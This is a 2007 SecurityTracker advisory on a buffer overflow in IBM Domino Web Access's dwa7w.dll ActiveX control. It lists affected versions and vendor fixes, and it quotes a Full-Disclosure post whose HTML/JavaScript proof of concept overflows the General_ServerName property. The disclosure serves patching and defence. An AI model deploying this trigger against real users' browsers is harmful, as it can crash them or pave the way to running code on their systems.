IBM Domino Web Access 'dwa7w.dll' ActiveX Control Buffer Overflow May Let Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1019138
|
|
SecurityTracker URL: http://securitytracker.com/id?1019138
|
|
CVE Reference: CVE-2007-4474
(Links to External Site)
|
Updated: Jan 9 2008
|
Original Entry Date: Dec 21 2007
|
Impact: Execution of arbitrary code via network, User access via network
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Version(s): 6.5, 7.0, 8.0; Upload Module version 7.0.34.1
|
Description: A vulnerability was reported in IBM Domino Web Access. A remote user may be able to cause arbitrary code to be executed on the target user's system.
A remote user can create specially crafted HTML that, when loaded by the target user, will invoke the Domino Web Access Upload Module
'dwa7w.dll' ActiveX control and trigger a buffer overflow to potentially execute arbitrary code on the target system. The code
will run with the privileges of the target user.
The report did not confirm code execution.
The CLSID of the vulnerable control
is: E008A543-CEFB-4559-912F-C27C2B89F13B
Elazar Broad reported this vulnerability.
|
Impact: A remote user can create HTML that, when loaded by the target user, may potentially execute arbitrary code on the target user's system.
|
Solution: The vendor has issued a fix (6.5.6, 7.0.3, and 8.0). A related vulnerability will be corrected in 7.0.4 and 8.0.1.
The IBM advisory is available at:
http://www-1.ibm.com/support/docview.wss?rs=463&uid=swg21279071
|
Vendor URL: www-1.ibm.com/support/docview.wss?rs=463&uid=swg21279071 (Links to External Site)
|
Cause: Boundary error
|
Underlying OS: Windows (Any)
|
Reported By: Elazar Broad <elazarb@earthlink.net>
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 20 Dec 2007 13:27:00 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@earthlink.net>
Subject: [Full-disclosure] IBM Domino Web Access Upload Control dwa7w.dll
|
The Domino Web Access Upload Module version 7.0.34.1 seems to suffer from a memory corruption issue t
hat may allow the execution of
arbitrary code. By setting the General_ServerName property and calling the InstallBrowserHelperDll()
function it MAY be possible
to control the ECX register and thereby control the EIP. PoC as follows:
-------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = 'A';
while (s.length <= 12000) s = s + 'A';
obj.General_ServerName = s;
obj.InstallBrowserHelperDll();
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B" />
</object>
</body>
</html>
-------------------
Elazar
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
|
|
